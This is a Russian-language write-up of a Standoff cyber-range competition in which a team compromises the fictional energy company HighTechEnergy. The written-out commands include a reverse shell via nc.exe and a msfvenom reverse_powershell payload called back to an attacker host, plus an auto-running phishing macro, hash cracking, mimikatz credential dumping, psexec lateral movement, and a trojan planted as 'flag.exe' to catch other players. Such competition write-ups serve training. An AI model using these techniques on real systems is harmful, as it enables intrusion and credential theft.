В этой статье мы разберем 5 недопустимых событий в инфраструктуре HighTechEnergy

Описание инфраструктуры HighTechEnergy

HighTechEnergy — одна из крупнейших компаний Государства F. Занимается передачей и распределением электроэнергии, выполняет функции оператора ГЭС, СЭС и ТЭС. Главная цель организации — качественное и надежное снабжение потребителей электричеством, поэтому вопросы безопасности для нее особенно важны.

Внешний периметр

Перед началом работы подключаемся к инфраструктуре Standoff по предоставленному openvpn конфигу.

Нам доступен внешний периметр и почтовый сервер для реализации фишинга.

Быстренько пробегаемся по внешнему скоупу nmap’ом, обнаруживаем около 6-ти рабочих IP-адресов, веб поднят только на трех из них.

С помощью утилиты “dig” получаем информацию о DNS.

После этого можно пойти реализовывать уязвимости на внешке, но за них дают не так уж и много баллов, поэтому перейдем сразу к внутрянке.

Фишинг

Классический для киберполигона Standoff путь проникновения во внутреннюю инфраструктуру

Фишинговые письма нужно куда-то отправлять, а значит нужны почты. Почты хранятся где? Правильно, на лендинге (вместе с openvpn конфигом для подключения к корпоративному VPN)

Лутаем все, что плохо лежит и идем на рыбалку.

Попытка закинуть HR-ам обычный реверс шелл кобальта не увенчалась успехом, так как Defender реагировал на него негативно, попробуем запаковывать shellcode.

python inceptor.py native shellcode.raw -o shell.exe -e nop -e xor --sgn --clone "C:\Windows\System32\cmd.exe"

Немного больше про методику сокрытия и установку утилиты можно узнать тут и тут

Реверс шелл готов, но HRы принимают только .doc(x) или .xls файлы, остальное не подходит. Поэтому быстренько поднимаем smbserver при помощи impacket и оставляем его работать.

Далее создаем VBA-макрос в Word, который будет доставать вредоносные файлы с нашего поднятого smbserver (спасибо, Пуни сэнсей) и, что немаловажно, автоматически запускать макрос.

Сохраняем как документ Microsoft Word 2003 и отправляем HRам. Все рады, особенно J_Miles, у которого мы стащили хэш пароля (прилетел при анонимном входе HRов на наш smbserver):

Хэш хорошо брутится, ведь у бедного Майлса пароль из 7 цифр.

Кроме того, так как фишинг отработал, нам прилетит парочка сессии HRов в наш C2 или какой реверс шелл вы там обфусцировали.

Внутренняя инфраструктура

Напоминаем, что помимо ловли сомнительных бекконектов, доступ к внутрянке можно получить по найденному ранее на лендинге корпоративному openvpn конфигу. Конфиг требует аутентификации, сбрученный пароль j_miles оказывается тут как раз кстати.

Теперь у нас есть возможность узнать более подробную информацию о сети, насканить адреса, порты, пройтись CrackMapExec (а лучше NetExec)

Локальное повышение привилегий

Способов повысить привилегии локально на Windows огромное количество и расписывать каждый бесполезно, но способ, который наверняка где-то сработает - эксплуатация SeImpersonatePrivilege, которая бывает включена как на Windows 7, так и на Windows 10.

Главное чтобы эта политика была включена

Продемонстрирую на примере двух утилит:

PrintSpoofer

Первым делом конечно же проверяем, работает ли у нас привилегия SeImpersonatePrivilege

При назначении пользователю права “Олицетворение клиента после проверки подлинности” (SeImpersonatePrivilege) вы разрешаете программам, которые выполняются от имени этого пользователя, олицетворять клиент, как бы выдавать себя за другого пользователя.

Прикол PrintSpoofer’а в том, что он спавнит процесс от SYSTEM.

  1. Загружаем на машину PrintSpoofer.exe и nc.exe любой ценой.

  2. Запускаем прослушку на attacker host в ожидании пойманной сессии:

  1. На attacked host запускаем следующую команду, которая заспавнит нам нам SYSTEM процесс и отправит эту сессию на attacked host:
PrintSpoofer.exe -c "nc.exe [attacker IP] [attacker port] -e cmd"

где:

-c - выполнить команду (в данном случае запустить прослушиватель) от SYSTEM
-e - указывает, какую команду nc.exe запустить после коннекта 

6) Сессия ловится сразу от SYSTEM

JuicyPotato

Теперь второй вариант

  1. Скачиваем JuicyPotato.exe и закидываем на машину, которую атакуем.

  2. msfvenom

Теперь нам нужно подготовить payload для получения обратной оболочки на машину атакующего. Команда msfvenom:

msfvenom -p cmd/windows/reverse_powershell lhost=[attacker_ip] lport=[port] > test.bat

Полученный батник также нужно закинуть на атакуемую машину.

ВАЖНО! Мы в каждом шаге используем один и тот же порт!

  1. Открываем прослушиватель на атакующей машине (порт тот же что и в msfvenom)

  1. Теперь заходим на атакуемую машину и используем такую команду
JuicyPotato.exe -t * -p test.bat -l [port]

где:

-t *   Вызываем команду с параметрами CreateProcessWithTokenW и CreateProcessAsUser
-p     Название созданного нами батника (payload)
-l     Порт прослушки

5) Бежим на атакуемую машину и видим, что обратная оболочка успешно поймана и имеет статус SYSTEM

Легендарный flag.exe, который затащил полигон за нас

Мы переименовали созданный ранее вредоносный reverse shell во flag.exe и рассовали его по разным папкам, в которых другие пользователи шарятся и ищут флаги.

Или на автомате, или по приколу, но другие пользователи действительно ни раз запускали наш flag.exe, после чего к нам в С2 прилетали сессии, в том числе запущенные под админом/системой.

В какой то момент у нас накопилось 135 беконов в C2. AFK фарм получается.

Один из участников полигона, запустив файл flag.exe, отправил бэкконект в наш командный C2, сидя под локальным админом. Пока они дампили пароли mimikatz’ом (напомним, что mimik разрешено запускать только с правами админа, которых у нас на тот момент не было), мы сидели на VNC и видели каждое их действие, записывая пароль администратора a_petinson_admin в блокнот.

На тот момент у нас плохо получалось продвигаться по инфре, но внезапно бесплатные креды ws admin’а подняли командный дух :)

Недопустимые события

После проведения базовой внутренней разведки, мы пошли реализовывать недопустимые события.

Утечка финансовых документов

Получите доступ к компьютеру главного бухгалтера (j_salazar). Флаг содержится в файле C:\finres.txt.

a_petinson_admin относится к группе workstation admins, с помощью него можно было не только получить доступ ко многим компьютерам, но и хорошенько исследовать структуру сети.

При помощи ldapdomaindump была получена информация о пользователях, компьютерах и отношениях в домене hte.stf

Видим, что пользователь J_salazar в одной сети с A_Petinson_Admin

При помощи A_Petinson_Admin и psexec.py был захвачен компьютер J_Salazar, являющийся главным бухгалтером. На его компьютере по пути C:\finres.txt в файле содержался флаг.

Утечка конфиденциальной информации

Получите доступ к компьютеру главного бухгалтера (p_chandler). Флаг содержится в файле C:\fintotal.txt.

Второе, что делаем на компьютере E_Salazar - дампим все учетки при помощи mimikatz serurlsa::logonpasswords.

Мы не уверены, что так задумано, скорее всего кто-то заходил под сессией J_Glenn_Admin на E_Salazar до нас, но мимик сдампил в том числе и его креды, которые также оказались полезными.

Проверяем возможность J_Glenn_Admin при помощи CME и видим, что можем реализовать второе недопустимое, получив доступ к компьютеру P_Chandler по RDP

Подключились с кредами J_Glenn_Admin, используя xfreerdp. Флаг содержится в файле C:\\fintotal.txt

Распространение вируса-шифровальщика

Зашифруйте ключевой сервер (shpoint.hte.stf, 10.154.12.218), запустив приложенный к заданию бинарный файл.

В сети также есть пользователи, относящиеся к группе srv_admins, значит у них скорее всего есть доступ к таким ключевым серверам, как SHPOINT, MSSQL, BACKUP и так далее.

Используя evil-winrm можем ручками пройти по всем тачкам и собрать креды (что мы крайне не рекомендуем, лучше сделать это автоматическими утилитами):

evil-winrm -u a_petinson_admin -p [password] -i 10.154.13.46

Загружаем (не забыв поставить себе mimikatz):

upload ../../../../../../../../../usr/share/windows-resources/mimikatz/Win32/mimikatz.exe  

Выполняем (Мыши плакали, кололись, но продолжали грызть кактус):

./mimikatz.exe "sekurlsa::logonpasswords"

Рано или поздно мы наткнёмся на srv админа, с которым и пойдём шифровать shpoint.hte.stf, в данном случае в роли srv админа выступает V_Cochran_Admin.

Берем psexec и с кредами srv админа захватываем SHPOINT.

psexec.py hte.stf/v_cochran_admin:[email protected]

Чтобы его зашифровать достаточно просто запустить файл, данный в задании (пожалуйста, помните, что в таске поддельный шифратор, не надо шифровать Sharepoint, одумойтесь)

Утечка информации о поступлении инвестиций

Получите доступ к серверу Microsoft SQL. Выгрузите информацию об инвестициях, которые скоро поступят в компанию, из таблицы investments.

В предыдущем критическом событии захватили SHPOINT, с этого же компьютера используя srv админа и psexec, захватываем MSSQL.

После попадания на хост с mssql.hte.stf ищем файлы базы и через SQL Server Configuration Manager останавливаем её, для того, чтобы скачать Main, а уже из него извлекаем флаг.

А ещё мы совершаем фатальную ошибку и не специально, но со зла кладём механизм обновления флагов организаторам.

Предупреждение! Перед вводом флага (!!!) стоит запустить все процессы в SQL Server Configuration Manager обратно. Иначе придется создавать тикет :)

Утечка персональных данных сотрудников

Получите доступ к СУБД ERP-системы и выгрузите сведения о сотрудниках компании. Флаг содержится в поле export_code.

Данное критическое событие касается внутреннего веба. Начнем с разведки, обнаружим IP адрес с ERP axelor.

Мы подло нашли чужой File Upload to RCE и нагло воспользовались прекрасной возможностью читать файлы.

Пытаемся в файлах найти что-то связанное с конфигами axelor, а так как axelor это ERP система, у которой по дефолту есть БД postgres на 5432 порту

Немного ускорили процесс поиска:

И затем, найдя директорию:

/var/lib/tomcat9/webapps/axelor/

Просматриваем различные конфиги:

cat /var/lib/tomcat9/webapps/axelor/WEB-INF/classes/axelor-config.properties

Где и находим:

db.default.driver = org.postgresql.Driverdb.default.ddl = update
db.default.url = jdbc:postgresql://localhost:5432/axelordb
db.default.user = axelor
db.default.password = ██████

Мы победили, теперь подключаемся к postgres, делаем дамп базы и ищем флаг:

pg_dump postgresql://axelor:██████@10.154.12.195:5432/axelordb -F p -f axelor.dump

Tags:

#standoff#writeup